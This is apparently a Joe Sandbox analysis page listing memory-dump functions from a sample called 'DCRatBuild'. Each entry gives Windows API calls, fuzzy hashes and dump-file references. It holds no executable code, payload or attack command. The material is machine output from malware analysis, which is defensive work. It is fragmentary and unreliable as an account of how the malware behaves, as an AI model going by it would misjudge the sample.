Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: fe5c41ab9181fbcd78dce79266ab30ed670701817477a5ea859b511b0c7cb416
Instruction ID: e26918f56eef2340e4887b6b4ed1f83f4506bb1db638d9f39e26dacae501e914
Opcode Fuzzy Hash: fe5c41ab9181fbcd78dce79266ab30ed670701817477a5ea859b511b0c7cb416
Instruction Fuzzy Hash: 17513570A003499EDF20AF75E9816BBBBE5FF41304F1C446ED496CB652DB349941CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00879A74 Relevance: 3.1, APIs: 2, Instructions: 116COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,?,?,?,-00000870,00000000,00000800,?,00879A50,?,?,00000000,?,?,00878CBC,?), ref: 00879BAB
GetLastError.KERNEL32(?,00000000,00878411,-00009570,00000000,000007F3), ref: 00879BB6

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: e8e3521423dc0b1c4ec8fab140f3c7770648e382e8ffd1c01e05b92dbbe716e1
Instruction ID: 2237028a11da6a3433a204e4e87e73d131c11842de24bfa9ac8d53e85d491b54
Opcode Fuzzy Hash: e8e3521423dc0b1c4ec8fab140f3c7770648e382e8ffd1c01e05b92dbbe716e1
Instruction Fuzzy Hash: 28418B31604325CBDB24DF19E58456AB7E6FBA5330F14CA2DE8D9C3268D770ED448A52

Uniqueness

Uniqueness Score: -1.00%

Function 0089BA27 Relevance: 3.1, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 008997E5: GetLastError.KERNEL32(?,008B1030,00894674,008B1030,?,?,00893F73,00000050,?,008B1030,00000200), ref: 008997E9
Part of subcall function 008997E5: _free.LIBCMT ref: 0089981C
Part of subcall function 008997E5: SetLastError.KERNEL32(00000000,?,008B1030,00000200), ref: 0089985D
Part of subcall function 008997E5: _abort.LIBCMT ref: 00899863

Part of subcall function 0089BB4E: _abort.LIBCMT ref: 0089BB80
Part of subcall function 0089BB4E: _free.LIBCMT ref: 0089BBB4

Part of subcall function 0089B7BB: GetOEMCP.KERNEL32(00000000,?,?,0089BA44,?), ref: 0089B7E6

_free.LIBCMT ref: 0089BA9F
_free.LIBCMT ref: 0089BAD5

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID:
API String ID: 2991157371-0
Opcode ID: 47b3629febb0dfd654389754717a3a019a21e029ec903364b415a1f019c4e5aa
Instruction ID: a03813a6d904bfe080120b78d3614d7344dc48eda4dbdd493dfde14f47cde69c
Opcode Fuzzy Hash: 47b3629febb0dfd654389754717a3a019a21e029ec903364b415a1f019c4e5aa
Instruction Fuzzy Hash: 1A31B131904219AFDF10FFA8EA41BADB7E5FF41320F294099E904DB2A2EB725D40DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00871E50 Relevance: 3.1, APIs: 2, Instructions: 86COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00871E55

Part of subcall function 00873BBA: __EH_prolog.LIBCMT ref: 00873BBF

_wcslen.LIBCMT ref: 00871EFD

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: H_prolog$_wcslen
String ID:
API String ID: 2838827086-0
Opcode ID: 47b2bbe2956e60754e57450afd05f8790d2fa34cc0a6b85219951957a227dc45
Instruction ID: 8bd7313c71c5608fc4f31be1280d50c140aa272d2f964519b78cfa162eec55d0
Opcode Fuzzy Hash: 47b2bbe2956e60754e57450afd05f8790d2fa34cc0a6b85219951957a227dc45
Instruction Fuzzy Hash: 833118719041099ACF15EF9CC949AAEBBF5FF08310F104069E849E7655CB329E01DB61

Uniqueness

Uniqueness Score: -1.00%

Function 00879DA2 Relevance: 3.1, APIs: 2, Instructions: 83timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32(?,?,?,?,?,?,008773BC,?,?,?,00000000), ref: 00879DBC
SetFileTime.KERNELBASE(?,?,?,?), ref: 00879E70

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: 1dffd2b5f14957326c971a82ed33f2c1a9fff89a2fc6b8dadb2b4449bef4c319
Instruction ID: bfe659e61bc74419543d490420d95d0ef586b23fd7c274d966c626db9f12f7ce
Opcode Fuzzy Hash: 1dffd2b5f14957326c971a82ed33f2c1a9fff89a2fc6b8dadb2b4449bef4c319
Instruction Fuzzy Hash: 5B21E1322482459FC724DF28C491AAABFE8FF51304F08881DF4D9C3545D328D90D8B62

Uniqueness

Uniqueness Score: -1.00%

Function 0087966E Relevance: 3.1, APIs: 2, Instructions: 82fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,00879F27,?,?,0087771A), ref: 008796E6
CreateFileW.KERNEL32(?,?,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,00879F27,?,?,0087771A), ref: 00879716

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 34b87996dfe694b698845b12deca068fd4b7edb60b05385e5b555c93a7171c91
Instruction ID: 182caea02a8beceddf10b42c2c95fb766c03c0e5481705ad838ca19ddb0f10be
Opcode Fuzzy Hash: 34b87996dfe694b698845b12deca068fd4b7edb60b05385e5b555c93a7171c91
Instruction Fuzzy Hash: 0221F1B10043446FE3708A68CC89BA773DCFB69324F008B18FAD9C25D9C374E8848631

Uniqueness

Uniqueness Score: -1.00%

Function 00879E80 Relevance: 3.1, APIs: 2, Instructions: 56COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000001), ref: 00879EC7
GetLastError.KERNEL32 ref: 00879ED4

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: fba96cc0b6ef67880b2256c6b98c9219bc5c17540f45826294439f29b0812e35
Instruction ID: 4445ef057b2dd30bc7ff0921b2839429a3c333e0eefa495db57ce4b5ee3947a3
Opcode Fuzzy Hash: fba96cc0b6ef67880b2256c6b98c9219bc5c17540f45826294439f29b0812e35
Instruction Fuzzy Hash: F911E9316007049BE734D62CCC45BA6B7E9FB45370F608629E197D26D4D7B0ED49C760

Uniqueness

Uniqueness Score: -1.00%

Function 00898E54 Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00898E75

Part of subcall function 00898E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0089CA2C,00000000,?,00896CBE,?,00000008,?,008991E0,?,?,?), ref: 00898E38

HeapReAlloc.KERNEL32(00000000,?,?,?,00000007,008B1098,008717CE,?,?,00000007,?,?,?,008713D6,?,00000000), ref: 00898EB1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: Heap$AllocAllocate_free
String ID:
API String ID: 2447670028-0
Opcode ID: 34384e21a8bd2a5a0c0db9978d6c395210cb52fe1d1aabc7aeeeac76d5205fcb
Instruction ID: f4458b7e47e6c56ec1cc055f1fc08fb23f3f22e9c6a49ab22e9123f3de934021
Opcode Fuzzy Hash: 34384e21a8bd2a5a0c0db9978d6c395210cb52fe1d1aabc7aeeeac76d5205fcb
Instruction Fuzzy Hash: 3BF0C232601217EADF213A69AC15B6F3758FF93B70B6C412AF814E7191DF61DD0091A1

Uniqueness

Uniqueness Score: -1.00%

Function 0088109E Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 008810AB
GetProcessAffinityMask.KERNEL32(00000000), ref: 008810B2

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 6758b46afcaa3dcec3c2eec3cd3995b29e5382fb3f26a9d058213be4b6c64e44
Instruction ID: 5fb6b5dbfd31fb9e94df6a5da6d52db737f87ba0dcdf74f3f46e198a0a188a07
Opcode Fuzzy Hash: 6758b46afcaa3dcec3c2eec3cd3995b29e5382fb3f26a9d058213be4b6c64e44
Instruction Fuzzy Hash: 46E0DF32B00949ABDF09ABB49C098EBB3EDFA452043208179E503E3601FD34EE424BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0087A4ED Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,0087A325,?,?,?,0087A175,?,00000001,00000000,?,?), ref: 0087A501

Part of subcall function 0087BB03: _wcslen.LIBCMT ref: 0087BB27

SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,0087A325,?,?,?,0087A175,?,00000001,00000000,?,?), ref: 0087A532

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: effb256fcf1cfde9cb226f8f408e3b54edbc6e5c47958de6c60a78699079f676
Instruction ID: c159e2d60dc6097bd023e176030af345674d4b3fba17ed3e314ee9e8231a9abf
Opcode Fuzzy Hash: effb256fcf1cfde9cb226f8f408e3b54edbc6e5c47958de6c60a78699079f676
Instruction Fuzzy Hash: D6F0A932200209BBEF016FA0DC01FDE376DFB04389F48C060B848E6164DB31CA98EB10

Uniqueness

Uniqueness Score: -1.00%

Function 0087A1E0 Relevance: 3.0, APIs: 2, Instructions: 27fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(000000FF,?,?,0087977F,?,?,008795CF,?,?,?,?,?,008A2641,000000FF), ref: 0087A1F1

Part of subcall function 0087BB03: _wcslen.LIBCMT ref: 0087BB27

DeleteFileW.KERNEL32(?,000000FF,?,00000800,?,?,0087977F,?,?,008795CF,?,?,?,?,?,008A2641), ref: 0087A21F

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: DeleteFile$_wcslen
String ID:
API String ID: 2643169976-0
Opcode ID: ae2333225cefedbce9bf01eabd2caa47ea832b3275bc2bff6f03685ae5649b0a
Instruction ID: f75fa0e1dd8048735b7ed14b1e37d0c1a074a606ab29b0214ae72825cacc4f4c
Opcode Fuzzy Hash: ae2333225cefedbce9bf01eabd2caa47ea832b3275bc2bff6f03685ae5649b0a
Instruction Fuzzy Hash: FDE092315502096BEB015F64DC45FDE375CFB09391F488021B948E2095EB61DEC4DA51

Uniqueness

Uniqueness Score: -1.00%

Function 0088AC7C Relevance: 3.0, APIs: 2, Instructions: 26comCOMMON

Download Yara Rule

APIs

GdiplusShutdown.GDIPLUS(?,?,?,?,008A2641,000000FF), ref: 0088ACB0
OleUninitialize.OLE32(?,?,?,?,008A2641,000000FF), ref: 0088ACB5

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: 6f9386a55e444661d4c2017949ac6ba3285750d855c8918a73533c853a833dfe
Instruction ID: 07ac680d1c0d28bce7f0f95f26d6caf9fa20df5fe4440ad28dedbd8921bc4cc7
Opcode Fuzzy Hash: 6f9386a55e444661d4c2017949ac6ba3285750d855c8918a73533c853a833dfe
Instruction Fuzzy Hash: 9DE06D72644651EFCB10AB5CDC06B49FBADFB89B20F00436AF416D3BA0CB74A800CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0087A243 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,0087A23A,?,0087755C,?,?,?,?), ref: 0087A254

Part of subcall function 0087BB03: _wcslen.LIBCMT ref: 0087BB27

GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,0087A23A,?,0087755C,?,?,?,?), ref: 0087A280

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: 94f55af22053761b8b6fb5cf272a0fd3d97c77dd59d8e26899e997e3d3d6a8d9
Instruction ID: d1a2a7a5da1ee532808af423ecae3076e5ddc36db8d9457a0a58d249a1c893cb
Opcode Fuzzy Hash: 94f55af22053761b8b6fb5cf272a0fd3d97c77dd59d8e26899e997e3d3d6a8d9
Instruction Fuzzy Hash: 82E092315001289BDB10AB68CC05BD97758FB193E2F048261FD58E3195DB70DE44CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 0088DEC2 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0088DEEC

Part of subcall function 00874092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 008740A5

SetDlgItemTextW.USER32(00000065,?), ref: 0088DF03

Part of subcall function 0088B568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0088B579
Part of subcall function 0088B568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0088B58A
Part of subcall function 0088B568: IsDialogMessageW.USER32(0003045E,?), ref: 0088B59E
Part of subcall function 0088B568: TranslateMessage.USER32(?), ref: 0088B5AC
Part of subcall function 0088B568: DispatchMessageW.USER32(?), ref: 0088B5B6

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekTextTranslate__vswprintf_c_l_swprintf
String ID:
API String ID: 2718869927-0
Opcode ID: 04ad6ee6f111f6110e1058a25212e441f7b47901bad7c4e75ff7a03e60845942
Instruction ID: 389fc58ba3504a09a7266a8ffdd1f834faddf37e289e95280476653f5f805a44
Opcode Fuzzy Hash: 04ad6ee6f111f6110e1058a25212e441f7b47901bad7c4e75ff7a03e60845942
Instruction Fuzzy Hash: 73E092B2400248A6DF02BB68DC06FDE3B6CBB15785F044951B204DB0A3EA78EA10C766

Uniqueness

Uniqueness Score: -1.00%

Function 0088081B Relevance: 3.0, APIs: 2, Instructions: 24libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00880836
LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0087F2D8,Crypt32.dll,00000000,0087F35C,?,?,0087F33E,?,?,?), ref: 00880858

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: 75f8d3f29dc35a33b7cb129e37605344eff945c5aa3ecc483401af6c572f5c4d
Instruction ID: eeae13f2af2646b70a5bc11644924ce57acaafdf14fb235e4adf7df805500ef9
Opcode Fuzzy Hash: 75f8d3f29dc35a33b7cb129e37605344eff945c5aa3ecc483401af6c572f5c4d
Instruction Fuzzy Hash: E2E04F76800128ABDB11ABA4DC09FDB7BACFF0A3D1F040065B649E2004DAB4DA84CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 0088A3B9 Relevance: 3.0, APIs: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 0088A3DA
GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 0088A3E1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: b1c81fcac320c3061ce66bc407017af3c99926c3e67e6502646f195873617440
Instruction ID: 2d71e0f086d93930a4d533cace9221fe1a94c066163cc79b524d69fa01e35e6b
Opcode Fuzzy Hash: b1c81fcac320c3061ce66bc407017af3c99926c3e67e6502646f195873617440
Instruction Fuzzy Hash: 06E0ED71500218EBDB54EF99C5416A9BBE8FB05364F10805AA846E3741E3B4AE04DB92

Uniqueness

Uniqueness Score: -1.00%

Function 00892B8C Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00892BAA
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00892BB5

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptd
String ID:
API String ID: 1660781231-0
Opcode ID: 2f20c7be89533fe01e6d199f2485520f43496a2400bc520db22860196b8613b4
